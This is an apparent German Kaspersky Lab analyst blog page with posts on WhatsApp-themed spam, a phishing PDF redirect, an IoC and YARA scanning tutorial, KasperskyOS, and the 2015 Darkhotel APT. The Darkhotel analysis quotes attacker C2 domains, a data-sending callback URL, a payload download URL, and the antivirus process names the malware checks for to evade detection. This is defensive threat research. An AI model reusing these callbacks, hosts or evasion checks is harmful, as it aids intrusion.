Alle Bedrohungen

Viren

Hacker

Spam

Alle Seiten    Viren
  
Virus Enzyklopädie
Alarme
Analysen
Nachrichten
Glossar
Weblog

 
Kalender

<< 2015  
Jan Feb Mär
Apr Mai Jun
Jul Aug Sep
     
Über die Autoren des Tagebuches
Über die Autoren des Tagebuches

Das Analytiker-Tagebuch ist ein weblog, das von den Analytikern des Kaspersky Lab unter der Leitung von Eugene Kaspersky unterhalten wird. Erfahren Sie mehr über die Autoren des weblog.

Cybercrime Umfrage

Sobald Sie Ihren PC mit dem Internet verbinden, wird er zu einem potenziellen Ziel für Cyberkriminelle. Genauso wie Einbrecher bei einem ungesicherten Haus leichtes Spiel haben, ist ein ungeschützter PC wie eine offene Einladung an Autoren von Malware. Cyberbedrohungen werden nicht nur immer raffinierter, sondern nehmen auch ständig zu: Unser Antiviruslabor verzeichnet derzeit über 17.000 neue Internetbedrohungen pro Tag.

Zur Umfrage

 

  Home / Weblog

Analytiker-Tagebuch

Werbung für nicht jugendfreie Sites als Benachrichtigungen von WhatsApp und Instagram getarnt


  Maria Vergelis        3 September 2015 | 13:28  MSK

Ihr Kommentar  

Darüber, dass Betrüger Links auf Malware verbreiten, die als Benachrichtigungen über neue Text- und Sprachnachrichten bei WhatsApp getarnt sind, haben wir mehr als einmal berichtet. Ebenso häufig haben wir darauf hingewiesen, dass WhatsApp seinen Nutzern keinerlei Benachrichtigungen via E-Mail sendet. Zumal die Mail-Adresse bei der Registrierung des Accounts gar nicht angegeben werden muss. Gleichzeitig aber legen sich populäre Dienste ständig neue Funktionen zu, daher ist es nicht verwunderlich, dass die Nutzer immer wieder in die Fallen der Betrüger tappen, die Social Engineering einsetzen, wobei sie sich auf die jüngsten Neuerungen in ihren Lieblings-Apps beziehen. Vor kurzem stießen wir auf eine Spam-Versendung in deutscher Sprache, deren Mails sich als Benachrichtigungen von WhatsApp und Instagram ausgaben.

In den angeblich von WhatsApp stammenden Mails wurde dem Nutzer mitgeteilt, dass ihm eine Nachricht einer seiner Kontakte, der ihm zudem angeblich ein Foto gesendet hat, nicht auf das Handy zugestellt werden konnte. Um die Mitteilung lesen und das Foto ansehen zu können, sollte der Empfänger auf einen in der Mail enthaltenen Link klicken.

In den Mitteilungen im Namen von Instagram wurde der User darüber informiert, dass er auf einem Foto markiert wurde. Zum Ansehen der Aufnahme sollte er ebenfalls auf einen Link klicken.

Um überzeugend zu wirken, unterschrieben die Autoren der Versendung die Mitteilungen im Namen des Service-Teams des jeweiligen Dienstes und verwendeten zur Erstellung der Absenderadresse und der Links in den Mails zudem Domains, die das Wort WhatsApp bzw. Instagram enthielten. Alle Mails waren erst kürzlich registriert worden und sollten nach dem Willen der Cyberverbrecher glaubhaft die Adresse des Serviceteams darstellen. Daher enthielten sie entsprechende Wortverbindungen, sowohl in deutscher als auch in englischer Sprache, zum Beispiel:

whats-app-message-center[.]com

whatsapp-kundenservice[.]com

instagram-message[.]net

deine-whatsapp-msg[.]com

whatsapp-dienst[.]com

dein-whatsapp-service[.]com

Die Links führten auf soziale Ressourcen „für Erwachsene“, die ebenfalls erst vor sehr kurzer Zeit erstellt worden waren. In den Namen und der Aufmachung der Sites wurden leicht wiederzuerkennende Gestaltungselemente des populären Messengers benutzt, unter anderem das Icon/Logo und die Hintergrundfarbe. Das Ganze wurde großzügig „gewürzt“ mit Fotografien leicht bis gar nicht bekleideter Nutzerinnen dieses Dienstes.

War der Anwender auf einer nicht jugendfreien Ressource gelandet, wurde er umgehend gebeten, an einer kleinen Umfrage bezüglich seiner Interessen und Vorlieben teilzunehmen. Die Frage, ob der Besucher 18 Jahre alt sei, die logischerweise ebenfalls in der Liste enthalten war, hatte dabei keinen Einfluss auf irgendwas. Selbst wenn er sie verneinte und alle angebotenen Optionen ablehnte, erhielt der Nutzer die Erlaubnis, sich gleich hier und jetzt zu registrieren.

Die Registrierung selbst machte die Eingabe persönlicher Daten des Anwenders erforderlich, inklusive E-Mail-Adresse. Bedenkt man, dass die entsprechende Site erst vor wenigen Monaten erstellt wurde und ihre Entwickler nicht volljährigen Nutzern das Anschauen pornografischer Inhalte ermöglichen, zudem Spam in Form gefälschter Benachrichtigungen verbreiten, so sind Zweifel an der legalen Nutzung der persönlichen Anwenderdaten nicht unbedingt von der Hand zu weisen. Zudem lässt die bei der Registrierung erscheinende Option „stimme Werbung zu“ vermuten, dass die E-Mail-Adresse des Nutzers im Folgenden für die Durchführung von Spam-Versendungen mit allen möglichen Themen benutzt wird.

Phishing-Trampolin – Integration von Redirects in PDF-Dokumente


  Bestuzhev       24 August 2015 | 12:51  MSK

Ihr Kommentar  

Vor ein paar Tagen stieß ich auf eine typische Betrugs-E-Mail, die angeblich von einer Bank aus den USA stammte, allerdings mit einer Überraschung! Eine Analyse des Anhangs ergab, dass dieser keine Malware enthielt, dafür aber einen neuen Zwischenschritt, um weniger spezialisierte Sicherheitssoftware in die Irre zu führen.

Der original Dateiname lautet “Swift confirmation.pdf” und sie wurde mit Hilfe von Microsoft Word 2010 erstellt.

/Autor(unbekannt)/Erstellungsdatum(D:20150814180000-04’00’)/Erstellt mit(Microsoft« Word 2010

Wenn es also keine Malware ist, was soll das Ganze dann?

Nun, es handelt sich hierbei um eine ‘Mediabox’-klickbare Dokumentendatei, die benutzt wird, um Opfer auf eine Phishing-Website umzuleiten.

Wenn das Opfer auf ‘View pdf File’ klickt, öffnet sich zunächst eine Umleitungs-Website und dann wird schließlich der Sprung zu einem Server in Chile vollzogen, auf dem der Phishing-Versuch tatsächlich gehostet wird.

Das ist eine interessante Technik, auf die sicherlich einige Anti-Phishing-Filter hereinfallen, die auf einer Analyse der URLs basieren, die in den E-Mails selbst enthalten sind.


Indicators of Compromise (IoC) als Mittel zur Risikominimierung


  19 August 2015 | 16:54  MSK

Ihr Kommentar  

Denis Makrushin

Inhaber von IT-Infrastrukturen müssen ihre Ressourcen regelmäßig auf das Vorhandensein schädlicher Komponenten überprüfen. Eine Infektion kann beispielsweise infolge der Ausnutzung von Zero-Day-Sicherheitslücken durch Cyberkriminelle erfolgen. In solchen Fällen ist es möglich, dass selbst die Entwickler der Schutzlösungen, die auf dem entsprechenden IT-System laufen, noch nichts von dieser neuen Bedrohung wissen. Gleichzeitig können die Experten bereits Ermittlungen zu Vorfällen durchführen, die mit dieser neuen Bedrohung in Zusammenhang stehen. Es könnten sogar bereits einige Ergebnisse dieser Ermittlungen veröffentlicht worden sein.

Solche Veröffentlichungen haben einen praktischen Wert. Ein typischer Bericht über eine APT-Kampagne enthält die folgenden Informationen:

  • Opfer der Attacke und die Ziele, die die Cyberverbrecher verfolgen;
  • Zeiten, in denen die schädlichen Komponenten aktiv sind;
  • Liste der Knoten (IP-Adressen) der Opfer;
  • aktuelle Aktivität der Schadkomponenten und/oder der cyberkriminellen Gruppen;
  • detaillierte Beschreibung der Tools und Schadkomponenten, die die Cybergangster verwenden;
  • Beschreibung der C&C-Infrastruktur (Command and Control Server);
  • Kompromittierungsindikatoren (Indicators of Compromise - IoC, YARA-Rules usw.).

Unter den detaillierten technischen Informationen über die eine oder andere APT sind für jeden Administrator von IT-Sicherheitssystemen die „Kompromittierungsindikatoren“ von größtem praktischen Interesse. Es handelt sich dabei um eine Datensammlung, die dem Administrator einer IT-Infrastruktur helfen kann, schädliche Aktivität im System zu erkennen und die entsprechenden Maßnahmen zu ergreifen.

Was können IT-Administratoren in der Praxis mit diesen Indikatoren anfangen? In dem vorliegenden Artikel versuchen wir, eine Antwort auf diese Frage zu geben.

Indicators of Compromise sind strukturierte Informationen über Merkmale schädlicher Aktivität, die für den Import in automatisierte Mechanismen zur Überprüfung der Infrastruktur auf Anzeichen einer Infektion vorgesehen sind. Ein normiertes Format zur Beschreibung von Indikatordaten wurde bisher noch nicht entwickelt, allerdings sind in der Branche einige Typen von strukturierten Daten weit verbreitet und werden unterstützt.

IOC

Unter IOC (Indicators of Compromise) versteht man eine Liste von Daten über Bedrohungen (beispielsweise Zeilen, die den Pfad zu Dateien beschreiben, oder Registry-Schlüssel), die es unter Verwendung einer automatisierten Analyse mit Softwaremitteln ermöglichen, Bedrohungen in der Infrastruktur aufzudecken.

Einfache Szenarien des Einsatzes von IOC sehen die Suche nach spezifischen Dateien im System aufgrund verschiedener Merkmale vor: MD5-Hash, Dateiname, Erstellungsdatum, Größe und andere Attribute. Darüber hinaus kann man nach verschiedenen spezifischen Merkmalen im Speicher oder nach spezifischen Einträgen in der Registry des Betriebssystems Windows suchen.

Es gibt verschiedene Formate, in denen diese Daten dargestellt werden können, beispielsweise OpenIOC. Diese Formate ermöglichen den Import der Daten in die eine oder andere Schutzlösung für die darauffolgende Arbeit mit den Indikatoren. Der Administrator kann die Integration der IOC aus den Berichten in verschiedene Schutzlösungen umsetzen:

  • Schutzlösungen der Klasse „Endpoint Security“;
  • SIEM;
  • IDS/IPS;
  • HIDS/HIPS;
  • verschiedene Tools zur Ermittlung von Sicherheitsvorfällen.

Es gibt eine Vielzahl von kommerziellen Lösungen für die Arbeit mit IOC, allerdings sind die Möglichkeiten ihrer Open-Source-Pendants in einigen Fällen vollkommen ausreichend, um ein Zielsystem auf das Vorhandensein von Infektionsmerkmalen zu untersuchen. Loki ist beispielsweise ein IOC-Scanner, der unter einer GPL-Lizenz verbreitet wird und der es ermöglicht, auf dem Zielsystem nach verschiedenen Merkmalen zu suchen, die infolge schädlicher Aktivität auftreten.

Um Systeme mit Hilfe des Scanners Loki zu überprüfen, muss man lediglich das Archiv mit dem Tool entpacken und der Wissensdatenbank des Scanners die notwendigen IOC-Attribute hinzufügen. Im Verzeichnis “signature” der Anwendung befinden sich die folgenden IOC-Kategorien:

  • “filename-iocs” – eine Textdatei, die Listen verschiedener Attribute des Dateisystems enthält, die infolge der einen oder anderen Bedrohung auftreten;
  • “hash-iocs” – eine Aufstellung der MD5, SHA1 und SHA256-Hashes von schädlichen Komponenten, die im System nach einer Infektion vorhanden sind;
  • “falsepositive-hashes” – eine Liste von Ausnahmen von MD5-, SHA1- SHA256-Hashes, die bei der Detektion der entsprechenden Komponenten von dem Scanner als „falsch-positive Alarme“ eingeordnet werden.

Nehmen wir als Beispiel unseren Bericht über die Untersuchung der Carbanak-APT. Auf Seite 36 dieses Berichts befindet sich eine Auflistung der MD5-Hashes der Schadkomponenten, die im System nach dessen Infektion auftauchen können. Wir öffnen die Datei „hash-iocs“ des Scanners und tragen die entsprechende Regel im folgenden Format ein: <MD5>;<description> .

Liste der MD5-Hashes der Komponenten der Carbanak-APT in der Datei „hash-iocs” des Scanners Loki

Daraufhin erstellen wir in der Textdatei „filename-iocs“, die die Attribute der Schadkomponenten im Dateisystem beschreibt, den Indikator im Format:

# COMMENT

# REGULAREXPRESSION;SCORE

IOC für das Dateisystem in der Liste “filename-iocs“ des Scanners Loki

Nach der Aufnahme der notwendigen Indikatoren in die Wissensdatenbank des Scanners kann man mit dem Scan der Workstation beginnen. Zu diesem Zweck muss man die ausführbare Datei “loki.exe” mit Administratorenrechten starten (ansonsten hat der Scanner nicht die Möglichkeit, den Inhalt des Arbeitsspeichers auf das Vorhandensein der Attribute zu überprüfen) und den Abschluss der Prozedur abwarten.

Scanprozess des Tools Loki

Aufgrund der Scan-Resultate erstellt die Anwendung einen Bericht, der dann im Verzeichnis des Programms unter dem Namen “loki.txt” abgelegt wird.

YARA-Regeln

Neben verschiedenen Kompromittierungsindikatoren können den Berichten auch Dateien mit der Erweiterung „.yar“ hinzugefügt werden. Diese Dateien enthalten einer speziellen Syntax entsprechend zusammengestellte Regeln für YARA – ein Tool, das auf die Identifikation und Klassifizierung von schädlichen Samples ausgerichtet ist. Die so genannten YARA-Regeln beschreiben Merkmale für das Vorhandensein schädlicher Aktivität im System. Wenn eine der Regeln erfüllt wird, stellt der Analyser eine Infektion mit den entsprechenden Details fest (beispielsweise die Bezeichnung der Bedrohung).

Der oben beschriebene Scanner Loki unterstützt auch YARA-Regeln, das bedeutet, die aus den Berichten entnommenen yar-Dateien können dem Administrator für die Untersuchung des Systems auf das Vorhandensein der Bedrohung dienen, von der im Bericht die Rede ist. Zu diesem Zweck reicht es aus, die yar-Datei in den Ordner “signature” zu verschieben und die Untersuchung zu starten.

Für die Arbeit mit YARA-Regeln ist das offizielle Tool der Entwickler des YARA-Projekts besser geeignet, da dessen Wissensdatenbank regelmäßig aktualisiert wird und sie auch größer ist als die Datenbanken der analogen Tools. Dadurch erhält man infolge eines Scans ein vollständigeres Bild über die Sicherheit des IT-Systems sowie vollständigere Informationen über das Vorhandensein der einen oder anderen schädlichen Komponente darin.

Für die Überprüfung der Workstation muss man lediglich das YARA-Tool mit den notwendigen Parametern starten. Zum Beispiel:

yara32.exe –d md5= <MD5_hash><this_is_yara_rule.yar><dir_for_check>

wobei der Parameter „-d“ für die Definition der externen Variablen verwendet wird. Gibt es irgendwelche Übereinstimmungen mit den Bedingungen der Regel, wird eine Benachrichtigung mit dem Namen der Regel und der Komponente, die den Alarm ausgelöst hat, ausgegeben.

Beispiel für eine Benachrichtigung über eine Alarm auslösende YARA-Regel

Der Administrator kann derartige Überprüfungen beispielsweise beim Systemboot starten. Zu diesem Zweck muss man lediglich ein einfaches PowerShell-Skript schreiben, das die Tools mit den notwendigen Parametern startet und, wenn nötig, seinen Start für alle Hosts mit Hilfe von Active Directory festlegt: User configuration -> Windows configuration -> Scenarios ->Logon.

STIX und JSON

Structured Threat Information Expression (STIX) ist eine standardisierte Sprache für die strukturierte Aufzeichnung von Informationen über Bedrohungen und deren darauffolgenden Import in Softwarelösungen. Eine Vielzahl von Schutzlösungen ermöglicht den Import von Informationen im Format STIX (und ebenfalls in JSON, wovon später die Rede sein wird) für deren späterer Nutzung in der Infrastruktur:


  • SIEM,
  • auf Indikatoren basierende Schutzlösungen (beispielsweise Scanner),
  • Forensic-Plattformen,
  • Lösungen der Klasse „Endpoint Security“ und andere.

Der Import eines STIX-Berichts kann in der populären SIEM-Lösung IBM QRadar erfolgen, unter Verwendung eines eigens erstellten python-Skripts:

./stix_import.py -f STIXDocument.xml -i 192.168.56.2 -t XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX -r MyReferenceSet

Wobei „-f“ den Standort des lokalen STIX-Dokuments definiert, „-i“ den Host mit der installierten QRadar-Konsole bestimmt und „-t“ den Service-Token für QRadar vorgibt.

JSON ist eins der populärsten Formate zur Darstellung von Daten, das auch häufig in Appendizes in Berichten verwendet wird. Die Verwendung von Daten im Format JSON hängt von den Aufgaben des Administrators und den Besonderheiten der Software ab, in die der Import dieser Daten umgesetzt wird. Sind beispielsweise in einer JSON-Datei IP-Adressen von Steuerungsservern vorhanden, mit denen sich infizierte Workstations verbinden, kann der Administrator einer zu schützenden Infrastruktur diese IP-Adressen in die Schwarze Liste seiner Firewall aufnehmen, die den Import von JSON unterstützt. Wenn die Firewall den Import dieses Formats nicht unterstützt, so hat der Administrator die Möglichkeit, einen Parser (Bearbeitungsroutine von JSON-Dateien) für den Export der Liste von IP-Adressen aus den Dateien und für deren darauffolgenden Import in die Schwarze Liste der Firewall zu verwenden.

Richtige Aufbereitung

Die Kompromittierungsindikatoren werden für die effektive Nutzung von Daten über Bedrohungen verwendet: für das Aufspüren von Malware und ein umgehendes Reagieren auf Vorfälle. Dabei werden diese Indikatoren sehr häufig an Berichte über Bedrohungen angehängt, die viele quer lesen. Selbst wenn ein solches Dokument über eine neue Bedrohung kein eigenes Kapitel mit dem Titel „Indicators of Compromise“ enthält, kann man sich immer selbstständig nützliche Daten (Informationen über Merkmale, die in einem infizierten System auftreten) aus dem Berichtstext herausziehen, sie in eins der oben beschriebenen Formate umwandeln und sie in eine Schutzlösung importieren.

Unsere jüngsten Studien mit Kompromittierungsindikatoren:

Wild Neutron – Economic espionage threat actor returns with new tricks

The Mystery of Duqu 2.0: a sophisticated cyberespionage actor returns

The Great Bank Robbery: the Carbanak APT

Icefog OpenIOC Release

Darkhotel Indicators of Compromise (PDF)

Crouching Yeti — Appendixes (PDF)

Was ist ein sicheres Betriebssystem?


  Andrey Nikishin       13 August 2015 | 13:10  MSK

Ihr Kommentar  

Nach der Veröffentlichung unseres Artikels über den Hack von Kraftfahrzeugen erhielten wir eine Reihe von Anfragen bezüglich unseres Betriebssystems KasperskyOS. Die Absender bemerkten völlig zu Recht, dass es auf dem Markt bereits einige gute und zuverlässige Betriebssysteme gibt, die unter anderem auch für die Autoindustrie vorgesehen sind. Das Hauptargument, das die technische Überlegenheit der konkurrierenden Lösungen beweisen soll, besagt, dass das Prinzip der Isolation der Sicherheitsdomains keine grundsätzlich neue Idee ist, und viele der bereits realisierten und eingesetzten Systeme eine Vielzahl zusätzlicher Sicherheitsfunktionen haben, die von den aktuellen Anforderungen diktiert werden – die Umsetzung von Verschlüsselungsprotokollen, Netzfiltern und einer Funktionalität zum Schutz vor Netzattacken. Einige dieser Systeme sind sogar für die Kompatibilität mit verschiedenen Sicherheitsstandards zertifiziert!

Zweifellos sind alle diese zusätzlichen funktionalen Möglichkeiten (und auch Zertifikate) wichtig, doch kann man ein Betriebssystem nur aufgrund der Existenz dieser Funktionalität sicher nennen? Um auf diese Frage antworten zu können, muss man zunächst einmal eine andere beantworten: „Was ist ein sicheres Betriebssystem?“. Aus unserer Sicht sollte ein solches Betriebssystem die sichere oder vertrauenswürdige Ausführung von nicht sicheren Komponenten (Programmen) garantieren.

In unserem Konzept gibt es zwei äußerst wichtige Aspekte, von denen einer ganz offensichtlich ist – wir vertrauen keiner Software von Drittanbietern und halten sie per definitionem für nicht sicher und nicht zuverlässig. Und der zweite, nicht so offensichtliche Aspekt –wir müssen dem Betriebssystem vertrauen und davon ausgehen, dass die Funktionalität des Kernels vertrauenswürdig ist. Um das Vertrauensniveau anzuheben, sollte der Kern eine formale und mathematische Verifikation durchlaufen (das Thema Verifikation verlangt nach einer gesonderten großen wissenschaftlichen Abhandlung).

Mit diesem Paradigma als Basis haben wir uns nicht auf die Umsetzung einer nur sicheren Architektur auf der Grundlage eines vertrauenswürdigen Kerns beschränkt, sondern haben auch die Erfahrungen in der Realisierung bereits existierender geschützter Betriebssysteme einbezogen. Die Grundprinzipien, wie etwa die Aufgliederung der Sicherheitsdomains oder der Mikrokern sind nur die eine Hälfte. Das Studium anderer Systeme und ihrer Einschränkungen gibt einem die Möglichkeit, nicht nur bekannte Probleme zu vermeiden, sondern auch neue Wege zur Umsetzung von Sicherheitsmerkmalen zu finden. Dabei herausgekommen ist ein Betriebssystem, das anderen Betriebssystemen hinsichtlich der Funktionsprinzipien einerseits ähnelt und das andererseits über eine Reihe von Besonderheiten verfügt, die auf die Überwindung bekannter Einschränkungen ausgelegt sind und die die Sicherheitsmerkmale des Systems verbessern sollen, auf dem das Betriebssystem läuft.

Als Beispiel für eine solche Verbesserung möchte ich auf die Typisierung der Interprozesskommunikation (IPC) verweisen. Diese, wie es scheint, offensichtliche Sache ermöglicht es uns, Daten auf niedriger Ebene zu kontrollieren, die in Aufrufen von Anwendungen übermittelt werden, und den Sicherheitspolicies ein vorher nicht dagewesenes Level von Granularität der Kontrolle zu verleihen. Eine andere Möglichkeit ist die Komposition verschiedener Arten von Sicherheitspolicies in einem System, beispielsweise der Policy-Typen Flow Control und Type Enforcement. Die daraus resultierende Politik ist eine Mischung aus den Policies stateful und stateless, die das Beste aus beiden Welten vereint. Selbstverständlich sind die Kombinationsmöglichkeiten nicht auf diese beiden Typen beschränkt. Eine solche Flexibilität findet man in keinem anderen kommerziellen Betriebssystem. Diese Funktionalität gewährleistet eine strenge Kontrolle der Interprozesskommunikation, und zwar nicht nur auf der Grundlage von Wissen über das Objekt und das Subjekt (wer bei wem anfragt), sondern auf der Grundlage von Wissen über den Kommunikationskontext auf höherer Ebene (was wird angefragt, wann werden welche Daten übermittelt).

Unter den anderen Besonderheiten von KasperskyOS dürfen die flexible Sprache zur Beschreibung der Sicherheitspolicies sowie das System zur Verifizierung der Policy nicht unerwähnt bleiben, die sowohl das Programmieren als auch die Feinjustierung der Policies erheblich vereinfachen. Und vieles mehr. Die Einzigartigkeit unserer Entwicklungen wird durch Patente bestätigt, die in den USA und in Russland ausgestellt wurden.

Herausgekommen ist unserer Meinung nach ein Betriebssystem, in dem das Prinzip der sicheren Ausführung nicht vertrauenswürdiger Anwendungen umgesetzt wurde. Dieses Ziel wurde unter anderem durch die Aufgliederung der Sicherheitsdomains und der gleichzeitigen strengen und flexiblen Kontrolle der Interprozesskommunikation erreicht. Das bedeutet, dass die Module innerhalb des Betriebssystems nur über ein bestimmtes Protokoll interagieren und nur erlaubte Funktionen in streng definierter Reihenfolge aufrufen dürfen. Für die Verbraucher bedeutet das, dass - selbst wenn in irgendeinem Modul eine Sicherheitslücke vorhanden ist, die ein Hacker ausnutzen kann (und wir zulassen, dass es eine gibt) -,der Hacker dank der Besonderheiten unseres Betriebssystems nur die Kontrolle über das angreifbare Modul erhält und die Funktion der anderen Module auf keine Weise gefährden kann, da die gesamte Kommunikation kontrolliert wird.

Ein Betriebssystem ist mit einem Schutzschild vergleichbar. Alle zusätzlichen integrierten Sicherheitsfeatures, inklusive Firewall, sichere Datenübertragungsprotokolle und sogar Zertifizierung - all das sind die Beschläge auf dem Schild. Sie alle verleihen der Konstruktion zweifellose mehr Stabilität, doch das allgemeine Schutzniveau hängt nicht von ihnen ab. Wichtiger als die Architektur sind die im Betriebssystem umgesetzten Prinzipien. Sie entscheiden, ob das Schild aus Pappe, Holz oder Eisen ist. Viele Betriebssysteme haben hervorragende Beschläge - doch passen sie auch auf jedes Schild?

Attacken der Darkhotel APT im Jahr 2015


  Global Research and Analysis Team of Kaspersky Lab       10 August 2015 | 16:00  MSK

Ihr Kommentar  

Die Attacken der Darkhotel APT aus dem Jahr 2014 und früher zeichnen sich durch den Missbrauch gestohlener Zertifikate aus, durch die Bereitstellung von .hta-Dateien mit vielfältigen Techniken und den Einsatz ungewöhnlicher Methoden, wie die Unterwanderung von Wi-Fi in Hotels zur Platzierung von Backdoors im Zielsystem. Im Jahr 2015 sind viele dieser Techniken und Aktivitäten noch immer in Gebrauch und aktuell. Doch neben neuen Varianten von schädlichen .hta gibt es auch neue Opfer, .rar-Anhänge mit RTLO-Spearphishing und die Bereitstellung eines 0-Day-Exploits von Hacking Team.

Die Darkhotel APT greift nach wie vor Ziele mittels Spearphishing rund um den Globus an, wobei die geografische Reichweite nun größer ist als in früheren Botnetzen und Angriffen auf Wi-Fi in Hotels. Einige der Ziele sind diplomatische Einrichtungen oder haben strategische kommerzielle Interessen.

Standorte der Darkhotel-Ziele und Opfer im Jahr 2015:

  • Nordkorea
  • Russland
  • Südkorea
  • Japan
  • Bangladesch
  • Thailand
  • Indien
  • Mozambique
  • Deutschland

2015 Darkhotel .hta-Websites sowie mit Backdoors und Exploits in Zusammenhang stehende Sites sowie C2-Websites:

  • storyonboard[.]net
  • tisone360[.]org
  • openofficev[.]info
  • saytargetworld[.]net
  • error-page[.]net
  • eonlineworld[.]net
  • enewsbank[.]net
  • thewordusrapid[.]com

Attachment-Namen in Spearphishing-Mails im Jahr 2015:

  • schedule(6.1~6).rar -> schedule(6.1~6)_?gpj.scr
  • schedule(2.11~16).rar -> schedule(2.11~16)_?gpj.scr
  • congratulation.rar -> congratulation_?gpj.scr
  • letter.rar -> letter_?gpj.scr

Beständiger Einsatz obfuskierter .hta-Downloader

Ob eine Infektion nun durch Spearphishing, physischen Zugriff auf das System oder das Flash-0-Day-Explpoit von Hacking Team erfolgt ist, es scheint immer wieder dieselbe allgemein übliche Methode zu geben, wie ein frisch infiziertes System mit dem Command und Control-Server der APT-Gruppe Darkhotel kommuniziert:

Ein innerhalb einer .hta-Datei verwahrtes, hochgradig obfuskiertes (doppelt escaptes Set von Javascript Variablenwerten) Skript schreibt eine ausführbare Datei auf die Festplatte und führt sie aus.

Es ist interessant, dass diese spezielle Gruppe nun schon seit Jahren Backdoor- und Downloader-Code in Form von .hta-Dateien bereitstellt. Im Jahr 2010 konnten wir beobachten, wie Artikel über Nordkorea von der US-Denkfabrik Brookings Institute umfunktioniert wurden, um mit Nordkorea in Verbindung stehende Ziele mit Schadcode anzugreifen, der in .hta-Dateien verborgen war. Die Gruppe verschickte auch per E-Mail Links auf ihre schädlichen .hta-Dateien an nordkoreanische Touristengruppen, an Unternehmer mit Interesse an Nordkorea und so weiter. Die starke Abhängigkeit von älteren Windows-spezifischen Technologien wie HTML-Applikationen, die Microsoft im Jahr 1999 eingeführt hat, erscheint hier recht merkwürdig.

Von dem jüngsten sendspace.servermsys.com/downloader.hta:

Nach der Ausführung und dem Escapen einer Reihe von Variablen verwendet die .hta uralte Adodb.stream-Komponenten, um einen String mit dem Wert 0x3d für die XOR-Maske als eine ausführbare Datei herauszuschreiben und sie zu starten.

Dieser Code führt zu der Ausführung von “internet_explorer_Smart_recovery.exe” 054471f7e168e016c565412227acfe7f, und einem verborgenen Browserfenster, das den C2 zurückruft. In diesem Fall scheinen die Darkhotel-Betreiber zu prüfen, ob der Standardbrowser ihrer Opfer der Internet Explorer ist oder nicht, da alle IE-Versionen den Wert “0” zurückgeben und andere Browser “appMinorVersion” undefiniert lassen. Diese Datensammlung erscheint etwas merkwürdig, da die .hta-Dateien nur auf Windowssystemen von dem Prozess mshta.exe unterstützt und ausgeführt werden, der noch in Windows 8 vorhanden ist. Vermutlich ist das ein Artefakt aus der frühen Entwicklungsphase des Codes. Hier ist eine neue Version:

“hxxp://sendspace.servermsys.com/readme.php?type=execution&result=created_and_executed&info=" + navigator.appMinorVersion + ”

Die Datei “internet_explorer_Smart_recovery.exe” ist ein einfacher obfuskierter Downloader. Eine Reihe von XOR 0x28-Loops entschlüsselt die Inhalte einer selbst löschenden Batch-Datei, die dann auf die Festplatte geschrieben und ausgeführt wird. Später während der Ausführung entschlüsselt ein komplexerer RC4-Loop die Download-URL und andere Strings und Importe.

Ist das beendet, sieht die URL der String-Entschlüsselung und die Rückverbindung folgendermaßen aus: http://sendspace.servermsys.com/wnctprx. Die Datei wird (b1f56a54309147b07dda54623fecbb89) als “.tmp”-Datei in das Verzeichnis %temp% heruntergeladen, ausgeführt und der Downloader wird beendet. Diese größere Datei ist eine Backdoor/ein Downloader, der über SSH-Funktionalität verfügt und seine Schlüssel für SSH-Interaktion auf der Festplatte ablegt. Wir finden auch ältere Info-Stealer von Darkhotel, die von diesen Downloadern auf das System transportiert und dort ausgeführt werden.

Spearphishing und .RAR-Anhänge mit RTLO

Die Darkhotel-APT bombardiert bestimmte Ziele schonungslos mit Spearphishing-Attacken, um die Systeme erfolgreich zu kompromittieren. Einige der Ziele werden wiederholt mit den immer gleichen Social-Engineering-Schemata angegriffen. So wurde das Attachment mit der Bezeichnung “schedule(2.11~16).rar” beispielsweise am 10. Februar von der Darkhotel-Gruppe an ein Ziel geschickt, das Ende Mai in einem zweiten Versuch abermals von dem Anhang “schedule(6.1~6).rar” heimgesucht wurde.

Es werden regelmäßig ausführbare RTLO .scr-Dateien innerhalb von .rar-Archiven verwahrt, damit diese in den Augen der Opfer als harmlose.jpg-Dateien erscheinen. Bei diesen ausführbaren Dateien handelt es sich um leichte Dropper, die diese Köder-jpeg-Dateien verwahren, und um Code zur Erstellung eines lnk-Downloaders.

Wenn das Ziel versucht, das zu öffnen, was es für eine jpg-Bilddatei hält, führt der ausführbare Code eine jpg-Datei aus und platziert sie auf der Festplatte, dann öffnet er sie mit mspaint.exe im Hintergrund. Dieses Dokument mit dem Titel “congratulations” ist auf Koreanisch verfasst und hat ein vermutetes Merkmal des beabsichtigten Ziels zum Inhalt.

Während das Bild angezeigt wird, transportiert der Code einen ungewöhnlichen mspaint.lnk-Shortcut auf die Festplatte und startet ihn. Der Shortcut unterstützt ein mehrzeiliges Ziel-Shell-Script. Diese Technik wird auch von anderen APTs als Nachhaltigkeitsmechanismus eingesetzt, wie unsere Kollegen bei Mandiant dokumentiert haben. Bei der Ink-Datei von 64 KB handelt es sich um Downloader-Code:

Wenn diese lnk-Datei ausgeführt wird, startet sie einen AJAX-basierten Download-Prozess für die “unzip.js“-Datei (a07124b65a76ee7d721d746fd8047066) auf openofficev.info. Das ist eine weitere wscript-Datei, die AJAX für den Download und die Ausführung einer relativ groß kompilierten ausführbaren Datei implementiert:

Dieser ausführbare Code wird unter %temp%\csrtsrm.exe gespeichert und dort ausgeführt. Es handelt sich um eine relativ große ausführbare Datei (~1.2 MB), die Schadcode einschleust und entfernt Bedrohungen in legitimen Prozessen verbreitet.

Gestohlene Zertifikate und Umgehung

Die Gruppe scheint einen Vorrat an gestohlenen Zertifikaten zu horten, mit denen sie ihre Downloader und die Backdoors signiert. Einige der kürzlich für ungültig erklärten Zertifikate gehören dem Unternehmen Xuchang Hongguang Technology Co. Ltd.

Darkhotel bemüht sich nun, seinen Code unter mehreren Verschlüsselungs-Schichten zu verbergen. Wahrscheinlich richtet sich die Gruppe langsam darauf ein, besser geschützte Umgebungen anzugreifen und möchte diese gestohlenen Zertifikate nicht leichtfertig verbrennen. In früheren Attacken hätten sich die Angreifer einfach eine lange Liste schwach implementierter, defekter Zertifikate zunutze gemacht.

Nicht nur ihre Obfuskationstechniken werden besser und stärker, sondern auch die Liste ihrer Anti-Detektionstechnologien wird immer länger. Dieser signierte Downloader (d896ebfc819741e0a97c651de1d15fec) beispielsweise entschlüsselt schrittweise eine Reihe von Anti-Malware-Strings, um neue Abwehrtechnologien auf frisch infizierten Systemen zu identifizieren und öffnet dann jeden Prozess, um nach Übereinstimmungen mit den folgenden Dateinamen von AV-Anbietern zu suchen:

c:\avast! sandbox\WINDOWS\system32\kernel32.dll - Avast!
avp.exe - Kaspersky Lab
mcagent.exe;mcuicnt.exe - Intel/Mcafee
bdagent.exe - BitDefender
ravmon.exe,ravmond.exe - Beijing Rising
